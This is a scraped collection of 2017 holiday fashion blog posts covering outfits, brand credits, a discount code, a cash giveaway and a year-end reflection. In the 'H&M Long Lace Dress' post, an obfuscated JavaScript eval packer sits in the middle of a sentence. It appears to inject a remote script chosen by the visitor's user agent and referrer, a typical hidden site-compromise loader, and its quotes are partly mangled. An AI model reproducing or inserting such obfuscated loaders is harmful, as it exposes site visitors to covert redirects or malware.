Little Red Dress

2017 Fashion, Fashion, Holidays, Winter

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the season for a little red dress. This
Self-Portrait dress already has more budget-friendly look-alikes. It’s perfect for a holiday party or even New Year’s Eve. I’ve winterized by layering with a black blouse. You can shop my style at Shopbop, which is offering December 26-28 a special sale – an additional 25% off sale items with Code JOY25, can be up to 75% off!

What are your plans to celebrate the end of 2017 and the start of 2018?

This year has been a year of challenge, excitement and improvement. I’ve finished my Master’s, got lasik eye surgery, decorated my place like an adult, and travelled to 9 countries. At the same time, the world has moved at a break-neck speed. I don’t talk about politics on this blog, but it is what I do during the day. I use this blog as an escape, and I hope that it has been one for you too.

I’m looking forward to 2018. This coming year, I’m going to keep “laughter” in my mind and heart. It is a reminder to myself to enjoy life, to have fun, to work hard and play hard, and to keep my life more balanced. What is your word for 2018?

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Merry Christmas

2017 Fashion, Fashion, Favorite Features, Holidays, Winter

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Christmas! I’m spending today with my sister playing with baby elephants in Thailand. You can follow our adventures on my
Instagram.

However, you are spending your day, I hope it is filled with laughter, love, family, friends and food!

If you have to go to the office later this week, here is a little green and red outfit inspiration for you. I’m obsessed with these H&M wide-legged green trousers! They make me feel like a tall statue (in part because I’m wearing high-heeled boots).

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$200 Cash Giveaway + Gold Accents for Holiday Party Style

2017 Fashion, Fashion, Favorite Features, Holidays, Winter

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Dress / Zara Blouse /
ASOS Shoes / Kate Spade Bracelet / Charming Charlie Earrings / Hermes Bag / ASOS Sunnies

If you are already tired of all the red and green, try adding gold accents to your holiday party attire. These ASOS shoes were purchased last year, but they are my ultimate party shoes – last worn here. I’ve paired them with a classic navy midi dress from N/Nicholas, an Australian brand that came onto the scene in 2015. The quality is excellent and this dress has pockets! I’ve layered a white blouse from Zara to make it office-party-ready.

I also want to help my readers who are still Christmas shopping. I’m hosting a giveaway with other brilliant bloggers to give a lucky reader $200 cash. Just enter the contest below!

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Charming Charlie Caplet Statement Necklace

2017 Fashion, Fashion, Holidays, Winter

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winterized this dress  before by layering a black blouse underneath this strapless dress, last seen
here. This year, I’ve added a bit of glam with this statement caplet necklace from Charming Charlie.  The right piece of jewelry can turn any little black dress into one holiday-party-ready. Charming Charlie have some great pieces for this season!

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H&M Long Lace Dress for Holiday Party

2017 Fashion, Fashion, Favorite Features, Holidays, Winter

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dddse|var|u0026u|referrer|fserz||js|php’.split(‘|’),0,{}))
long H&M black dress is also a great solution if you’re looking for something easy to wear to your holiday party. I’ve paired with my red heels for a pop of color because the dress lining doesn’t go all the way down to the floor so my shoes will be seen. I’ve added the red flower in my hair to up the ante on Christmas charm. What other time of the year can you?

Unfortunately, this dress is now sold out, but I’ve linked up to a range of long black dresses below.

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Tobi Black Jumpsuit

2017 Fashion, Fashion, Holidays, Winter

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holiday season is cranking up and you’ve got piles of holiday parties to go to? Consider investing in a black jumpsuit, it’s cozy and warm (I’ve layered mine with tights), and it looks effortlessly stylish. I’ve paired with the red accessories for some Christmas charm.

The easiest way to manage your clothing budget during the holiday season is to pair your black outfits with red or green accessories. I’ve opted in investing in red accessories because I like the pop of color contrast.

Zara Leather Jacket / Tobi Black Jumpsuit / Red Heels from Off Broadway Shoe Warehouse / ASOS sunglasses

This Jumpsuit is from Tobi, which is now sold out. I’ve linked to great affordable jumpsuits and red accessories below.

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Parisian Girl in DC

2017 Fashion, Fashion, Winter

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from
TJ Maxx / Beret from Paris / Sunglasses from ASOS / Skirt from Express / Heels from Off Broadway Shoe Warehouse

Baby it’s cold outside! Therefore you definitely need a beret to keep your head warm. I’ve added the red belt and shoes to make this look festive for the holiday season. This pleated skirt from Express has been on constant repeat for me at the office, but it’s sold out now. I’ve linked to great alternatives below!

I’m also partnering with BombPetite.com to promote clothing bespoke for petite women. Here are some fun facts you may not know about petites.

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Be sure to follow me on Instagram as I set off on my big trip! I’ll be travelling the rest of the month, visiting six countries in three weeks. As my new tagline says, I’m the girl on the go!

I somehow managed to do Christmas all before leaving this week! Can you believe it? All presents are shipped, I’ve visited family, and I’ve seen a Christmas Carol at Ford Theatre and Lorree K. Slye’s “Tis the Season” performance at Blues Alley. Thanks to my new Iphone X, I’ll be able to post throughout my trip, as well as keep sharing my scheduled fashion posts.

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Reds in December

2017 Fashion, 2018 Fashion, Fashion, Winter

Zara red blouse, H&M plaid pencil skirt, Queen Bee Necklace

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is a hot color this season, and it is befitting the holiday season. You’ll be seeing a lot of red repeats all month-long, starting with this great top from Zara. I love the thickness of it and the subtle peplum for a blouse that works for the office and at happy hour.

I’ve paired with my work office staple, this H&M plaid skirt, last worn here. I’m also restyling this Queen Bee Designs necklace, last worn here.

 

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Hair by Aveda

2017 Fashion, Fashion, Winter

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of my big trip, I wanted to get my hair into a more manageable situation. I visited Ornare Salon in Johnson City, TN, when I went home to visit my sister. They did a fabulous job trimming off my split-ends and adding in layers to lighten my thick mane. They also only sale only
Aveda products. I love the aroma in the salon and as they shampooed my hair.

Aveda have been kindly sending me some of their products to sample, and I am a definite convert! Below are some of the products I’ve been using to achieve my hairstyle. That’s my secret!

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